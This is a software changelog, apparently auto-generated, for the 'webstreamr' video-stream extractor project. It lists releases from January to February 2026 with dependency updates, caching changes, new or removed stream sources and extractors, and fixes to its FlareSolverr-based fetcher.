|
||||
* **deps:** update dependency cacheable to v2.3.3 ([#737](https://github.com/webstreamr/webstreamr/issues/737)) ([168d028](https://github.com/webstreamr/webstreamr/commit/168d0280dcef9402815e353bc162af5bbf11af84))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** add referer as proxy header for Dropload ([bbb80f3](https://github.com/webstreamr/webstreamr/commit/bbb80f3cf0b918668149f5f6be1a2c38157a414b))
|
||||
|
||||
## [0.66.6](https://github.com/webstreamr/webstreamr/compare/v0.66.5...v0.66.6) (2026-02-25)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** update dependency minimatch to v10.2.3 ([#715](https://github.com/webstreamr/webstreamr/issues/715)) ([ce4637e](https://github.com/webstreamr/webstreamr/commit/ce4637ea80adaee5f7c325defd9676533dfb884e))
|
||||
* **deps:** update dependency minimatch to v10.2.4 ([#735](https://github.com/webstreamr/webstreamr/issues/735)) ([354c273](https://github.com/webstreamr/webstreamr/commit/354c2731d8ffe1948f5ff8647a7be668c6ce5cbd))
|
||||
* **deps:** update dependency typescript-eslint to v8.56.1 ([#734](https://github.com/webstreamr/webstreamr/issues/734)) ([73ce5f3](https://github.com/webstreamr/webstreamr/commit/73ce5f372d5c2c2be39d1f36fa104afbdee41b77))
|
||||
* **fetcher:** cache whole flaresolverr solution and also use status from it ([221fa98](https://github.com/webstreamr/webstreamr/commit/221fa989f4c51e13308a41e59dd088a2b0128e45))
|
||||
|
||||
## [0.66.5](https://github.com/webstreamr/webstreamr/compare/v0.66.4...v0.66.5) (2026-02-23)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#730](https://github.com/webstreamr/webstreamr/issues/730)) ([6c10236](https://github.com/webstreamr/webstreamr/commit/6c102362fde48af0a6857f8ab66bc42385a3411a))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** remove StreamUp ([556b20e](https://github.com/webstreamr/webstreamr/commit/556b20e6690c251e86e10740b45ca0b4c614b222))
|
||||
* **source:** add support for old XDMovies uploads without URL protector ([964e979](https://github.com/webstreamr/webstreamr/commit/964e9794695201367900ae6e4eda4ad439652222))
|
||||
|
||||
|
||||
### Performance Improvements
|
||||
|
||||
* cache all non-error requests for 15m, tune axios caching ([ae10810](https://github.com/webstreamr/webstreamr/commit/ae10810caaebb909ffe5c51c37dc4a01184391a9))
|
||||
|
||||
## [0.66.4](https://github.com/webstreamr/webstreamr/compare/v0.66.3...v0.66.4) (2026-02-21)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#708](https://github.com/webstreamr/webstreamr/issues/708)) ([ccdd460](https://github.com/webstreamr/webstreamr/commit/ccdd4600bba1041b5f2f2515c730856eb729991f))
|
||||
* **deps:** lock file maintenance ([#718](https://github.com/webstreamr/webstreamr/issues/718)) ([d0f3e0f](https://github.com/webstreamr/webstreamr/commit/d0f3e0f9316770fe47d0395269dafe155fa1e17d))
|
||||
* **deps:** update dependency @stylistic/eslint-plugin to v5.8.0 ([#709](https://github.com/webstreamr/webstreamr/issues/709)) ([1ae12fa](https://github.com/webstreamr/webstreamr/commit/1ae12fa0f790566193bfe42f3457fe9d4e976502))
|
||||
* **deps:** update dependency @stylistic/eslint-plugin to v5.9.0 ([#723](https://github.com/webstreamr/webstreamr/issues/723)) ([bd160eb](https://github.com/webstreamr/webstreamr/commit/bd160eb32ce3719bfbebb468a5b2e45d9b4a35ce))
|
||||
* **deps:** update dependency @types/node to v24.10.12 ([#707](https://github.com/webstreamr/webstreamr/issues/707)) ([3f35ecf](https://github.com/webstreamr/webstreamr/commit/3f35ecf6f3eab3c2c789a176be73d1a80539762d))
|
||||
* **deps:** update dependency @types/node to v24.10.13 ([#717](https://github.com/webstreamr/webstreamr/issues/717)) ([524630d](https://github.com/webstreamr/webstreamr/commit/524630d671a74dd844ce0f629b4ccae1f88cf6e6))
|
||||
* **deps:** update dependency axios to v1.13.5 ([#705](https://github.com/webstreamr/webstreamr/issues/705)) ([de13209](https://github.com/webstreamr/webstreamr/commit/de13209709071f8f5241f209a0dbc75232925c3c))
|
||||
* **deps:** update dependency glob to v13.0.1 ([#698](https://github.com/webstreamr/webstreamr/issues/698)) ([72c191f](https://github.com/webstreamr/webstreamr/commit/72c191fbc10ed9524e698609736f01de0f236c43))
|
||||
* **deps:** update dependency glob to v13.0.2 ([#711](https://github.com/webstreamr/webstreamr/issues/711)) ([eccea52](https://github.com/webstreamr/webstreamr/commit/eccea520b7cf8b997a694c6f4fded3cbc74b960a))
|
||||
* **deps:** update dependency glob to v13.0.3 ([#714](https://github.com/webstreamr/webstreamr/issues/714)) ([65a0e57](https://github.com/webstreamr/webstreamr/commit/65a0e57ab9694648977822f73d89e641feabf893))
|
||||
* **deps:** update dependency glob to v13.0.4 ([#720](https://github.com/webstreamr/webstreamr/issues/720)) ([245dcf6](https://github.com/webstreamr/webstreamr/commit/245dcf6007b6e02d767246463b224e18eecaccb8))
|
||||
* **deps:** update dependency glob to v13.0.5 ([#721](https://github.com/webstreamr/webstreamr/issues/721)) ([fb354b4](https://github.com/webstreamr/webstreamr/commit/fb354b47461f58a25c245dcac65ca2de26302207))
|
||||
* **deps:** update dependency glob to v13.0.6 ([#724](https://github.com/webstreamr/webstreamr/issues/724)) ([23db19d](https://github.com/webstreamr/webstreamr/commit/23db19d07317350d007b646c6915bb9fef60b165))
|
||||
* **deps:** update dependency nodemon to v3.1.12 ([#725](https://github.com/webstreamr/webstreamr/issues/725)) ([5bfbd94](https://github.com/webstreamr/webstreamr/commit/5bfbd94e51e1c7291e12ac912578fcbf6bb39232))
|
||||
* **deps:** update dependency nodemon to v3.1.13 ([#726](https://github.com/webstreamr/webstreamr/issues/726)) ([728ed7e](https://github.com/webstreamr/webstreamr/commit/728ed7ec0631d8de8df12626cdea857b1aad1059))
|
||||
* **deps:** update dependency nodemon to v3.1.14 ([#728](https://github.com/webstreamr/webstreamr/issues/728)) ([3bb7a80](https://github.com/webstreamr/webstreamr/commit/3bb7a800e3662e0bd2ae31ec4b4a61eaee5dde6c))
|
||||
* **deps:** update dependency typescript-eslint to v8.55.0 ([#710](https://github.com/webstreamr/webstreamr/issues/710)) ([7ec9c5b](https://github.com/webstreamr/webstreamr/commit/7ec9c5b1473e1e04203421ebbdd0c8d904744e99))
|
||||
* **deps:** update dependency typescript-eslint to v8.56.0 ([#719](https://github.com/webstreamr/webstreamr/issues/719)) ([94f5c74](https://github.com/webstreamr/webstreamr/commit/94f5c7438d82f96edfb0692e55eb071642d008a9))
|
||||
* **deps:** update eslint monorepo to v9.39.3 ([#727](https://github.com/webstreamr/webstreamr/issues/727)) ([26b6143](https://github.com/webstreamr/webstreamr/commit/26b6143152b8b15f2d79f747dbdb8cb48137a46a))
|
||||
* **extractor:** adapt mixdrop host check ([34500ea](https://github.com/webstreamr/webstreamr/commit/34500ea3fc11376eb99a86a08c179137239d612d))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **source:** handle new XDMovies URL protection ([cf8fb4c](https://github.com/webstreamr/webstreamr/commit/cf8fb4cfa47741ef8cb3fd214e7eff24ecc72375))
|
||||
|
||||
## [0.66.3](https://github.com/webstreamr/webstreamr/compare/v0.66.2...v0.66.3) (2026-02-03)
|
||||
|
||||
|
||||
### Performance Improvements
|
||||
|
||||
* **fetcher:** simplify FlareSolverr integration by just using a request per host ([31da8aa](https://github.com/webstreamr/webstreamr/commit/31da8aa92c48618b0b52fd2194262685c947e02e))
|
||||
|
||||
## [0.66.2](https://github.com/webstreamr/webstreamr/compare/v0.66.1...v0.66.2) (2026-02-03)
|
||||
|
||||
|
||||
### Performance Improvements
|
||||
|
||||
* **fetcher:** improve FlareSolverr integration ([ae5829d](https://github.com/webstreamr/webstreamr/commit/ae5829dcb0f8064e939c06d6457f891b1c7051c8))
|
||||
|
||||
## [0.66.1](https://github.com/webstreamr/webstreamr/compare/v0.66.0...v0.66.1) (2026-02-02)
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **source:** make XDMovies a fallback source to avoid hubcloud and many duplicates ([2612860](https://github.com/webstreamr/webstreamr/commit/2612860f1525a8f803e6d37aabdf5fd28b3d287f))
|
||||
|
||||
## [0.66.0](https://github.com/webstreamr/webstreamr/compare/v0.65.10...v0.66.0) (2026-02-02)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#692](https://github.com/webstreamr/webstreamr/issues/692)) ([455d84d](https://github.com/webstreamr/webstreamr/commit/455d84d5b186ff916734977bd2b4cb0b355ca485))
|
||||
|
||||
|
||||
### Features
|
||||
|
||||
* **source:** add XDMovies ([1f4d81b](https://github.com/webstreamr/webstreamr/commit/1f4d81bfc99066bfe6dafd3da7ffc8b13cdfffc1))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **fetcher:** never block flaresolverr timeouts ([c23ffa3](https://github.com/webstreamr/webstreamr/commit/c23ffa382d862ced1a385cf36d895f75ad3b7e97))
|
||||
|
||||
## [0.65.10](https://github.com/webstreamr/webstreamr/compare/v0.65.9...v0.65.10) (2026-01-28)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#686](https://github.com/webstreamr/webstreamr/issues/686)) ([0743111](https://github.com/webstreamr/webstreamr/commit/074311107a96cb3ed3c3dd2af6828a9a28bbe705))
|
||||
* **deps:** update dependency axios to v1.13.3 ([#685](https://github.com/webstreamr/webstreamr/issues/685)) ([19a73b3](https://github.com/webstreamr/webstreamr/commit/19a73b38669a809a473e69872be5816807da5d13))
|
||||
* **deps:** update dependency axios to v1.13.4 ([#689](https://github.com/webstreamr/webstreamr/issues/689)) ([5c87c5d](https://github.com/webstreamr/webstreamr/commit/5c87c5d9e2b52aeb1665212144d06cca7e6147a4))
|
||||
* **deps:** update dependency typescript-eslint to v8.54.0 ([#687](https://github.com/webstreamr/webstreamr/issues/687)) ([8f8ecb8](https://github.com/webstreamr/webstreamr/commit/8f8ecb868e5fb1dc03073ff0b53d416087ca5437))
|
||||
* **extractor:** add new VOE domain ([75c9509](https://github.com/webstreamr/webstreamr/commit/75c9509793f582fd566ece0694fc6961df5f7f61))
|
||||
* **extractor:** increase Fsst TTL to 3 hours ([a876c9b](https://github.com/webstreamr/webstreamr/commit/a876c9b14489f713460e56a32bcf39a3e4897796))
|
||||
* **extractor:** increase StreamEmbed TTL to 3d ([e52cee2](https://github.com/webstreamr/webstreamr/commit/e52cee212508a1945bc810bda5ce07c3322769a2))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** avoid caching results with empty meta, add some self-healing ([2ba6e4f](https://github.com/webstreamr/webstreamr/commit/2ba6e4fa358ca89aa522e1e97b4e2ed3ded7114a))
|
||||
* **extractor:** ensure every result has a ttl ([db860c2](https://github.com/webstreamr/webstreamr/commit/db860c25c687b87bbec34bc72995ed47aa9115aa))
|
||||
|
||||
|
||||
### Code Refactoring
|
||||
|
||||
* **extractor:** introduce internal type to reduce common code ([50a7e55](https://github.com/webstreamr/webstreamr/commit/50a7e5559bfa98305e006f8b7833aa2952d65029))
|
||||
|
||||
## [0.65.9](https://github.com/webstreamr/webstreamr/compare/v0.65.8...v0.65.9) (2026-01-23)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** update dependency @keyv/sqlite to v4.0.8 ([#677](https://github.com/webstreamr/webstreamr/issues/677)) ([e5197fd](https://github.com/webstreamr/webstreamr/commit/e5197fdb8be200235514fe9de5d5e1ad98fb6a12))
|
||||
* **deps:** update dependency @stylistic/eslint-plugin to v5.7.1 ([#682](https://github.com/webstreamr/webstreamr/issues/682)) ([622b1b3](https://github.com/webstreamr/webstreamr/commit/622b1b3bcc6890e5d926611184c90b392959caaa))
|
||||
* **deps:** update dependency axios-cache-interceptor to v1.11.4 ([#678](https://github.com/webstreamr/webstreamr/issues/678)) ([d3db3fc](https://github.com/webstreamr/webstreamr/commit/d3db3fc5129e3450630d384c849cec4ae83158f8))
|
||||
* **deps:** update dependency cheerio to v1.2.0 ([#683](https://github.com/webstreamr/webstreamr/issues/683)) ([43e16f5](https://github.com/webstreamr/webstreamr/commit/43e16f5bfa8447b22ae402928aa9b7c18ce14299))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** use full cached meta to avoid invalid cache states ([a90d7b1](https://github.com/webstreamr/webstreamr/commit/a90d7b1cad8501a2fa74aa8e457e2249bde4e2ae))
|
||||
|
||||
|
||||
### Code Refactoring
|
||||
|
||||
* **cache:** extract clearCache function ([12ea135](https://github.com/webstreamr/webstreamr/commit/12ea135feb4d7f363a4eefb48588f063815eeaf0))
|
||||
* **cache:** make code more dry and return in-memory cache for test env ([a5539bc](https://github.com/webstreamr/webstreamr/commit/a5539bcf595761a973fafda77db8741f8d0c35a8))
|
||||
|
||||
## [0.65.8](https://github.com/webstreamr/webstreamr/compare/v0.65.7...v0.65.8) (2026-01-20)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* add env var for one-time cache file deletion ([93fe1ae](https://github.com/webstreamr/webstreamr/commit/93fe1ae871a91b5a94b79a91e7b1e97497086c29))
|
||||
* **deps:** update dependency typescript-eslint to v8.53.1 ([#674](https://github.com/webstreamr/webstreamr/issues/674)) ([7c88658](https://github.com/webstreamr/webstreamr/commit/7c886583c97ffa6edc92690c8412e7241a7b3f86))
|
||||
* **extractor:** add lauradaydo.com to VOE ([3c979e7](https://github.com/webstreamr/webstreamr/commit/3c979e77cc3f6790e17bb3982012aad668c202db))
|
||||
* npm audit fix ([28a83e2](https://github.com/webstreamr/webstreamr/commit/28a83e2f29ed6ca10a58ba61d9dcdee2d591b2ad))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** never use external URL results for lazy URL caching to avoid clashes ([1ddc8d9](https://github.com/webstreamr/webstreamr/commit/1ddc8d99d6443f36381b36fd7daaf69eec5b39c2))
|
||||
* **extractor:** use MediaFlow Proxy for DoodStream ([#676](https://github.com/webstreamr/webstreamr/issues/676)) ([a00fa2c](https://github.com/webstreamr/webstreamr/commit/a00fa2c3d65ace25783532066e33d105a17b2853))
|
||||
|
||||
## [0.65.7](https://github.com/webstreamr/webstreamr/compare/v0.65.6...v0.65.7) (2026-01-19)
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* pass empty array instead of undefined if meta has no countries ([e8ed29e](https://github.com/webstreamr/webstreamr/commit/e8ed29eb9dea2bfe52fc2c2f07c8c245b08bee3e))
|
||||
|
||||
## [0.65.6](https://github.com/webstreamr/webstreamr/compare/v0.65.5...v0.65.6) (2026-01-19)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#669](https://github.com/webstreamr/webstreamr/issues/669)) ([7c99e4d](https://github.com/webstreamr/webstreamr/commit/7c99e4d1c1d1195235b18639f21ac5d38d29e722))
|
||||
* **deps:** update dependency @types/node to v24.10.9 ([#668](https://github.com/webstreamr/webstreamr/issues/668)) ([aeb15d8](https://github.com/webstreamr/webstreamr/commit/aeb15d86400c16d9594cd8e9f29fc2a366db69f7))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** use correct referer for rgshows, treat vidzee response as block ([d259587](https://github.com/webstreamr/webstreamr/commit/d25958749119c0d4600609197323dd8e5463d65d))
|
||||
* log all unhandled errors inside next handlers, terminate app properly for unhandled error outside ([646e75d](https://github.com/webstreamr/webstreamr/commit/646e75d5f88b3083f8fe491a238d1b5e061909a9))
|
||||
|
||||
## [0.65.5](https://github.com/webstreamr/webstreamr/compare/v0.65.4...v0.65.5) (2026-01-18)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* add issue templates ([5fd6202](https://github.com/webstreamr/webstreamr/commit/5fd62028ce56e03750a4aa415760076cfed793ce))
|
||||
* add priority for sorting, move VixSrc up and RgShows down ([7b708e2](https://github.com/webstreamr/webstreamr/commit/7b708e23851ce191439cbfbe625db07f6554ac8f))
|
||||
* **deps:** update dependency cacheable to v2.3.2 ([#667](https://github.com/webstreamr/webstreamr/issues/667)) ([8aa1344](https://github.com/webstreamr/webstreamr/commit/8aa1344fa590b7ab1fdeecf43f5a55472186805a))
|
||||
* **fetcher:** tune FlareSolverr timeouts and use other cookie variants too ([5b49dd0](https://github.com/webstreamr/webstreamr/commit/5b49dd07356efce2e542fde8bc1fdba7bdf39b32))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** only use bytes and height from meta cache to avoid clashes ([a9c281c](https://github.com/webstreamr/webstreamr/commit/a9c281c8c4c0d215dc78fedd6a34072e0aec9f31))
|
||||
|
||||
## [0.65.4](https://github.com/webstreamr/webstreamr/compare/v0.65.3...v0.65.4) (2026-01-16)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* extract HubDrive handling into own extractor re-using HubCloud for better caching, increase both TTLs ([986db2c](https://github.com/webstreamr/webstreamr/commit/986db2cc670dba5ce5c01e69d280803140bda24d))
|
||||
* **extractor:** simplify cache expiration handling ([507b960](https://github.com/webstreamr/webstreamr/commit/507b96014c8cce1ebf4f836f084e6ce3af67acfb))
|
||||
|
||||
## [0.65.3](https://github.com/webstreamr/webstreamr/compare/v0.65.2...v0.65.3) (2026-01-16)
|
||||
|
||||
|
||||
### Documentation
|
||||
|
||||
* add tmp mount for persistent cache to Docker run example ([231a12f](https://github.com/webstreamr/webstreamr/commit/231a12f685e56aeaab7fd377c4b953e992bcce7e))
|
||||
* mention FlareSolverr support / env var ([e54b54b](https://github.com/webstreamr/webstreamr/commit/e54b54bfb3e13d417b52be001bcd646edfcf4bcf))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **fetcher:** more FlareSolverr related stats, fix clearance cookie expiration ([4cfbf73](https://github.com/webstreamr/webstreamr/commit/4cfbf731b87873e70a76119f96984e2f1a958fdf))
|
||||
|
||||
## [0.65.2](https://github.com/webstreamr/webstreamr/compare/v0.65.1...v0.65.2) (2026-01-16)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** update dependency @tsconfig/node24 to v24.0.4 ([#662](https://github.com/webstreamr/webstreamr/issues/662)) ([90c56de](https://github.com/webstreamr/webstreamr/commit/90c56debfe2e52812f16c9043da601404c6dfbbc))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **fetcher:** make FlareSolverr work again, use single session and pass proxy ([59c8495](https://github.com/webstreamr/webstreamr/commit/59c84952ede26df776cc33c6da57e75ef9dfc258))
|
||||
* remove leftover logging ([9cf9c44](https://github.com/webstreamr/webstreamr/commit/9cf9c4498c610cc84af4f5bf28967f169fda214a))
|
||||
|
||||
## [0.65.1](https://github.com/webstreamr/webstreamr/compare/v0.65.0...v0.65.1) (2026-01-15)
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* calculate fallback count properly, only use VidSrc when no other normal source provided results ([5ef6119](https://github.com/webstreamr/webstreamr/commit/5ef61192948b42240ea21ddde7940e881f921aaf))
|
||||
* **extractor:** use lazy url/meta cache also for extractors without a ttl ([26278aa](https://github.com/webstreamr/webstreamr/commit/26278aadba170948107c909c9bf9426e6379b10a))
|
||||
* **extractor:** use milliseconds instead of incorrect seconds for ttl ([17e70c1](https://github.com/webstreamr/webstreamr/commit/17e70c169b6e26ee674c2d608e4bef1bdbb3a08c))
|
||||
* **source:** be resilient against missing heights in 4KHDHub ([79c8e7f](https://github.com/webstreamr/webstreamr/commit/79c8e7fc3255333ae011c12262410ef1739f304b))
|
||||
|
||||
## [0.65.0](https://github.com/webstreamr/webstreamr/compare/v0.64.0...v0.65.0) (2026-01-15)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* make cache immutable, add rate limit ([7593d3d](https://github.com/webstreamr/webstreamr/commit/7593d3d62e638168c9cfbab5cd71f514745ed42a))
|
||||
|
||||
|
||||
### Features
|
||||
|
||||
* add fetcher http stats ([4cf08fc](https://github.com/webstreamr/webstreamr/commit/4cf08fc6d55dbcc1de551091d14f731265b89fd5))
|
||||
* introduce fallback sources and mark VidSrc and RgShows as such ([bad1170](https://github.com/webstreamr/webstreamr/commit/bad1170421298ef6aa5f1c69a6214065fe184773))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** make VixSrc fall back to multi instead of it if language cannot be determined ([ce11a80](https://github.com/webstreamr/webstreamr/commit/ce11a80ba9d71def7f4eab29666eb606e1f5ad59))
|
||||
|
||||
## [0.64.0](https://github.com/webstreamr/webstreamr/compare/v0.63.1...v0.64.0) (2026-01-14)
|
||||
|
||||
|
||||
### Features
|
||||
|
||||
* **extractor:** add back VidSrc ([9ee91df](https://github.com/webstreamr/webstreamr/commit/9ee91dff31636d6bf980614bfd0f375135c735e7))
|
||||
* **source:** bring back VidSrc as multi source ([381fb89](https://github.com/webstreamr/webstreamr/commit/381fb89cfba8ff3c985ec2ddb11f65467f59c230))
|
||||
|
||||
## [0.63.1](https://github.com/webstreamr/webstreamr/compare/v0.63.0...v0.63.1) (2026-01-14)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* do not ignore errors on height guessing ([a189cdd](https://github.com/webstreamr/webstreamr/commit/a189cddd370c84cc22a93809827c8b988cbbc13f))
|
||||
* **extractor:** make lazyUrlResultCache non-blocking and add stats ([9d6d138](https://github.com/webstreamr/webstreamr/commit/9d6d138fff8a2240f87b227a506fe3ecebd0f677))
|
||||
* regularly clean-up expired items from sqlite cache ([51aa127](https://github.com/webstreamr/webstreamr/commit/51aa127a33f3a3b5b5cfc738e00cd9f682394ea8))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **source:** make 4KHDHub title matching just a tiny bit less strict ([f7cf9da](https://github.com/webstreamr/webstreamr/commit/f7cf9da686e44a36229c590772f651bcd8955a85))
|
||||
|
||||
## [0.63.0](https://github.com/webstreamr/webstreamr/compare/v0.62.3...v0.63.0) (2026-01-12)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#640](https://github.com/webstreamr/webstreamr/issues/640)) ([20ce2ac](https://github.com/webstreamr/webstreamr/commit/20ce2ac831f1204ffc4dad01d30c1cd00bfe4007))
|
||||
* **deps:** update dependency @types/node to v24.10.7 ([#639](https://github.com/webstreamr/webstreamr/issues/639)) ([816123a](https://github.com/webstreamr/webstreamr/commit/816123ab83c6be300155f8013788d2473650b39a))
|
||||
* **deps:** update dependency typescript-eslint to v8.53.0 ([#645](https://github.com/webstreamr/webstreamr/issues/645)) ([9e25618](https://github.com/webstreamr/webstreamr/commit/9e256186aa6270df59e98cb793f8a62578e30775))
|
||||
|
||||
|
||||
### Features
|
||||
|
||||
* introduce generic meta cache ([f047287](https://github.com/webstreamr/webstreamr/commit/f047287fe90fba26c19831c1becf0e6d127ee020))
|
||||
* introduce lazy extract for all non-HLS streams ([c6a6a70](https://github.com/webstreamr/webstreamr/commit/c6a6a70eafcff803ea4594037c7a39616a43a304))
|
||||
|
||||
## [0.62.3](https://github.com/webstreamr/webstreamr/compare/v0.62.2...v0.62.3) (2026-01-11)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* configure more Indian languages, add Tamil and Telugu to 4KHDHub ([05b80a2](https://github.com/webstreamr/webstreamr/commit/05b80a2d6367a459fe84879c9b318c416a7a4180))
|
||||
* enable nonBlocking secondary cache writes ([1a99a9e](https://github.com/webstreamr/webstreamr/commit/1a99a9e99ba233c1144107cb3de32c8a5bd28073))
|
||||
* **extractor:** return only best Fsst result ([f49769f](https://github.com/webstreamr/webstreamr/commit/f49769f3c4c2ca9cfca006a45d8a59c7bc3b68e8))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **source:** RgShows is multi ([de79dc0](https://github.com/webstreamr/webstreamr/commit/de79dc014fc00e91f926a7d5b450f875acd2bcdb))
|
||||
|
||||
## [0.62.2](https://github.com/webstreamr/webstreamr/compare/v0.62.1...v0.62.2) (2026-01-10)
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** support non-HLS streams in RgShows ([d1fcd67](https://github.com/webstreamr/webstreamr/commit/d1fcd671c9646ef923ff7bd8bcb2fe7ad0d599b1))
|
||||
|
||||
## [0.62.1](https://github.com/webstreamr/webstreamr/compare/v0.62.0...v0.62.1) (2026-01-10)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **source:** simplifly Frembed domain detection again ([559ee6e](https://github.com/webstreamr/webstreamr/commit/559ee6ed4e1d705dce358b54f98478317375562a))
|
||||
|
||||
## [0.62.0](https://github.com/webstreamr/webstreamr/compare/v0.61.0...v0.62.0) (2026-01-10)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* do not fail resolution if height guessing fails ([28a8a15](https://github.com/webstreamr/webstreamr/commit/28a8a1554d1c14eb85577e73191a325cc686f22a))
|
||||
* remove all proxy black magic ([66fb0e2](https://github.com/webstreamr/webstreamr/commit/66fb0e2e6dc379a8d4347c576a3c15605745d257))
|
||||
* **source:** improve 4KHDHub search matching ([b273e3a](https://github.com/webstreamr/webstreamr/commit/b273e3a71d09cf2dfd6fffa851e26ea398967878))
|
||||
|
||||
|
||||
### Features
|
||||
|
||||
* **extractor:** add StreamUP ([#621](https://github.com/webstreamr/webstreamr/issues/621)) ([baf5c91](https://github.com/webstreamr/webstreamr/commit/baf5c9143d4dab4607de891f5b17184e89e027c7))
|
||||
|
||||
## [0.61.0](https://github.com/webstreamr/webstreamr/compare/v0.60.0...v0.61.0) (2026-01-09)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** update dependency @stylistic/eslint-plugin to v5.7.0 ([#624](https://github.com/webstreamr/webstreamr/issues/624)) ([86eb3d4](https://github.com/webstreamr/webstreamr/commit/86eb3d498c3a147c14342c709986ba67fba47919))
|
||||
* **deps:** update dependency axios-cache-interceptor to v1.11.3 ([#626](https://github.com/webstreamr/webstreamr/issues/626)) ([4bec9e5](https://github.com/webstreamr/webstreamr/commit/4bec9e556f8618bc00ea3cda685e3e91aeba82c3))
|
||||
* enforce https:// prefix in mediaflow proxy url and support config without scheme to work aroud elfhosted weirdness ([da7397f](https://github.com/webstreamr/webstreamr/commit/da7397fe75d434aa8a76e1f6ea2443bd631a4ace))
|
||||
|
||||
|
||||
### Features
|
||||
|
||||
* add RgShows ([dcad7db](https://github.com/webstreamr/webstreamr/commit/dcad7db29c272dcb35504cc38d365a929906bf9c))
|
||||
|
||||
## [0.60.0](https://github.com/webstreamr/webstreamr/compare/v0.59.1...v0.60.0) (2026-01-06)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **fetcher:** disable TLS verification ([281fe00](https://github.com/webstreamr/webstreamr/commit/281fe00a351fc7aa25596e4b1f6b6272247feeb8))
|
||||
|
||||
|
||||
### Features
|
||||
|
||||
* **extractor:** switch KinoGer from cf to source, add kinoger.p2pplay.pro support ([f6f71b0](https://github.com/webstreamr/webstreamr/commit/f6f71b043bc51b1b22316c53c916bf24ab745f95))
|
||||
|
||||
## [0.59.1](https://github.com/webstreamr/webstreamr/compare/v0.59.0...v0.59.1) (2026-01-06)
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **source:** adapt MegaKino domain ([04f3fc4](https://github.com/webstreamr/webstreamr/commit/04f3fc42e06f4a69804bb0c080922615843af31f))
|
||||
|
||||
## [0.59.0](https://github.com/webstreamr/webstreamr/compare/v0.58.12...v0.59.0) (2026-01-06)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#615](https://github.com/webstreamr/webstreamr/issues/615)) ([8d1991e](https://github.com/webstreamr/webstreamr/commit/8d1991ed84f566585ec528345bee1548b4916c35))
|
||||
* **deps:** update dependency typescript-eslint to v8.52.0 ([#616](https://github.com/webstreamr/webstreamr/issues/616)) ([430e5b7](https://github.com/webstreamr/webstreamr/commit/430e5b7fce20925814227a7effbe55a5eb6bb2eb))
|
||||
* **extractor:** add crystaltreatmenteast.com to VOE ([bfe8c36](https://github.com/webstreamr/webstreamr/commit/bfe8c36e874c9f246852d17fcedf83eb5e4d481f))
|
||||
* **source:** do not filter out any KinoGer links ([41bc53b](https://github.com/webstreamr/webstreamr/commit/41bc53b9da4f4882b415b055d99f0ef31c5a907a))
|
||||
|
||||
|
||||
### Features
|
||||
|
||||
* **extractor:** bring back Fsst ([e1e8f37](https://github.com/webstreamr/webstreamr/commit/e1e8f37862874f3e178b4e4dbd2f44bfcc47a0ab))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** handle FileLions deleted by administration ([c075fe9](https://github.com/webstreamr/webstreamr/commit/c075fe9481f21e2f3f5715227b4b939c3de11d0b))
|
||||
* **source:** handle MegaKino relative page links ([7146c6c](https://github.com/webstreamr/webstreamr/commit/7146c6cf11fa0d7ad12596987eeff176daf97697))
|
||||
|
||||
## [0.58.12](https://github.com/webstreamr/webstreamr/compare/v0.58.11...v0.58.12) (2026-01-02)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **source:** add 4KHDHub test for stranger things s05e08 ([93a098e](https://github.com/webstreamr/webstreamr/commit/93a098e438438efe3d22b4439378f9de6fc0e577))
|
||||
